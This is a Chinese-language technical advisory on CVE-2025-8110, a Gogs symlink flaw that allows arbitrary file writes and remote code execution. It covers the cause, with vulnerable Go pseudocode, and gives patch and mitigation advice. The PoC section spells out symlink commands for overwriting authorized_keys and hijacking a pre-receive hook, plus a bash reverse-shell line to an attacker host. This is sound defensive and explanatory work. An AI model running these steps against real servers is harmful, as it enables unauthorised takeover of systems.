 深度剖析)
发布时间：2025年2月涉及组件：Gogs (Go Git Service)漏洞类型：任意文件写入 / 远程代码执行 (RCE)危害等级：严重 (Critical)
1. 漏洞概述
Gogs 是一款极受欢迎的、自托管的轻量级 Git 服务，使用 Go 语言编写。由于其部署简单、资源占用低，被广泛应用于中小型企业及个人开发者团队中。
CVE-2025-8110揭示了 Gogs 在处理 Git 仓库文件操作（特别是文件上传和在线编辑功能）时存在严重逻辑缺陷。攻击者可以通过构造包含恶意**符号连接（Symbolic Link）**的仓库，欺骗 Gogs 服务器将文件内容写入到仓库目录之外的任意位置。通过覆盖系统关键文件（如 SSH 密钥文件）或 Git 钩子（Hooks），攻击者可直接获取服务器的 Shell 权限，实现 RCE。
2. 技术背景：符号连接与 Git
在深入漏洞之前，我们需要理解两个核心概念：
符号连接 (Symlink)： 在 Linux/Unix 文件系统中，符号连接是一个指向另一个文件或目录的特殊文件（类似于 Windows 的快捷方式）。如果程序在读写文件时没有检查该文件是否为软连接，它可能会无意中操作软连接指向的目标文件，而不是软连接本身。
Git 的文件模式： Git 能够存储文件的权限和类型信息。符号连接在 Git 对象数据库中以特殊的 blob 形式存储，其内容是目标路径，文件模式通常标记为
120000。
3. 漏洞原理分析
漏洞的核心在于 Gogs 的 Web 界面提供的**“文件上传”或“在线编辑”**功能与底层文件系统操作之间的脱节。
3.1 攻击路径
攻击流程利用了 Gogs 在处理用户通过 Web UI 更新文件时的逻辑漏洞：
阶段一：埋雷攻击者在本地创建一个 Git 仓库，并创建一个指向服务器敏感路径的符号连接。 例如，创建一个名为
exploit_link的软连接，指向/home/git/.ssh/authorized_keys（如果是 SSH 攻击）或者指向仓库自身的hooks/pre-receive（如果是 Hook RCE 攻击）。 攻击者将这个包含软连接的仓库推送到 Gogs 服务器。此时，服务器上只是存储了这个软连接文件，尚未造成危害。阶段二：引爆攻击者登录 Gogs 的 Web 界面，进入该仓库，找到
exploit_link文件。正常情况下，Web 界面应该显示这是一个链接，或者禁止编辑。 然而，漏洞在于 Gogs 的处理逻辑（通常位于routers/repo/file.go或类似的文件处理模块）在接收用户“更新文件”或“上传同名文件”的请求时：没有充分验证目标路径是否解析到了仓库外部。
没有使用
Lstat检查目标是否为符号连接，而是直接使用了类似os.OpenFile或ioutil.WriteFile的操作。
阶段三：越界写入当服务器执行写入操作时，操作系统会自动跟随
exploit_link指向的路径。于是，攻击者上传的恶意内容（如一个新的 SSH 公钥或 Shell 脚本）并没有覆盖exploit_link本身，而是覆盖了/home/git/.ssh/authorized_keys。
3.2 代码逻辑缺陷 (伪代码示例)
易受攻击的代码逻辑通常如下所示：
Go
// 假设这是处理文件更新的逻辑 func UpdateFile(repoPath string, fileName string, content []byte) error { // 拼接完整路径 fullPath := filepath.Join(repoPath, fileName) // 漏洞点：直接打开文件进行写入，未检查 fullPath 是否是一个 Symlink // 如果 fullPath 是一个指向 /etc/passwd 的软连接，这里就会写入 /etc/passwd f, err := os.OpenFile(fullPath, os.O_RDWR|os.O_TRUNC, 0666) if err != nil { return err } defer f.Close() _, err = f.Write(content) return err }在修复后的版本中，开发者通常会加入filepath.EvalSymlinks来检查最终路径是否溢出了允许的根目录（Repo Root）。
4. 漏洞复现与利用场景 (PoC 思路)
场景 A：覆盖 SSH 公钥 (获取 Shell)
这是最直接的提权方式，前提是 Gogs 使用系统 SSH 服务运行。
构造软连接：
Bashln -s /home/git/.ssh/authorized_keys my_key_link git add my_key_link git commit -m "Add symlink" git pushWeb 端操作： 在 Gogs 网页端打开
my_key_link，点击“编辑”。写入 Payload： 将内容替换为攻击者的 SSH 公钥 (
ssh-rsa AAAAB3NzaC...)。保存： 保存更改。此时服务器的
authorized_keys被覆盖。登录：
ssh git@target-server，直接获得服务器权限。
场景 B：劫持 Git Hooks (RCE)
如果无法覆盖 SSH 密钥（例如权限限制），攻击者可以利用 Git 的钩子机制。
构造软连接： 指向当前仓库的 hooks 目录（通常位于
Bashrepo.git/hooks）。ln -s .git/hooks/pre-receive exploit_hook git add exploit_hook git push注意：目标路径需要根据 Gogs 在服务器上的存储结构进行猜测或推断。
Web 端操作： 编辑
exploit_hook文件。写入 Payload： 写入 Shell 脚本，例如反弹 Shell：
Bash#!/bin/sh bash -i >& /dev/tcp/attacker_ip/4444 0>&1触发 RCE： 在本地再次执行
git push操作。服务器在处理 push 请求时会触发pre-receive钩子，从而执行恶意脚本。
5. 危害与影响
完全系统接管：攻击者以运行 Gogs 进程的用户身份（通常是
git或root）执行任意代码。数据泄露：攻击者可以读取服务器上的配置文件（如
app.ini），获取数据库密码等敏感信息。横向移动：利用获取的 Shell 权限攻击内网其他服务。
6. 修复方案
6.1 官方补丁
请立即升级 Gogs 到修复了 CVE-2025-8110 的最新版本。官方修复通常包含对文件写入操作前的Lstat检查，确保不会跟随符号连接，或者强制在写入前删除原文件。
6.2 临时缓解措施
如果无法立即升级，建议采取以下措施：
禁用在线编辑与上传： 在
custom/conf/app.ini配置文件中，禁用 Web 编辑器和文件上传功能，切断攻击入口。使用 Docker 隔离： 确保 Gogs 运行在 Docker 容器中，且不要将宿主机的敏感目录（如
/root/.ssh）直接挂载进容器。这可以将危害限制在容器内部。权限控制： 确保运行 Gogs 的系统用户权限最小化，无法写入
/etc或其他关键系统目录。
7. 总结
CVE-2025-8110 再次提醒我们，在处理文件系统操作时，**“不要信任用户输入”**不仅仅指文本内容，也包括文件结构本身。对于任何允许用户上传或修改文件的 Web 应用，必须严格校验文件类型（是否为 Symlink）以及目标路径的规范性，防止目录穿越攻击。
